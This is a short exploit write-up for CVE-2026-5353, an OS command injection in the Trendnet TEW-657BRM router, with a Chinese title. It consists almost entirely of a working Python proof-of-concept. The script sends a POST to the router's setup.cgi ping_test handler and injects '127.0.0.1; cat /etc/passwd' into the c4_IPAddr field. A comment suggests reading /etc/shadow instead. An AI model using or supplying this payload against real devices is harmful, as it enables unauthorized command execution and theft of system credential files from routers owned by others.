CVE-2026-5353 Trendnet TEW-657BRM 操作系统命令注入漏洞

import requests # Target URL configuration target_ip = "192.168.0.1" base_url = f"http://{target_ip}/setup.cgi" # Payload injection: ';' separates commands in Linux shell # Example: Ping a valid IP then execute 'id' or 'cat /etc/shadow' payload_ip = "127.0.0.1; cat /etc/passwd" # Data payload mimicking the ping_test function # 'c4_IPAddr' is the vulnerable parameter identified in CVE-2026-5353 post_data = { "c4_IPAddr": payload_ip, "action": "ping_test", "submit_button": "Ping" } try: # Sending the malicious request # PR:L implies authentication might be needed, cookies/headers should be added if required response = requests.post(base_url, data=post_data, timeout=5) # Output analysis if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")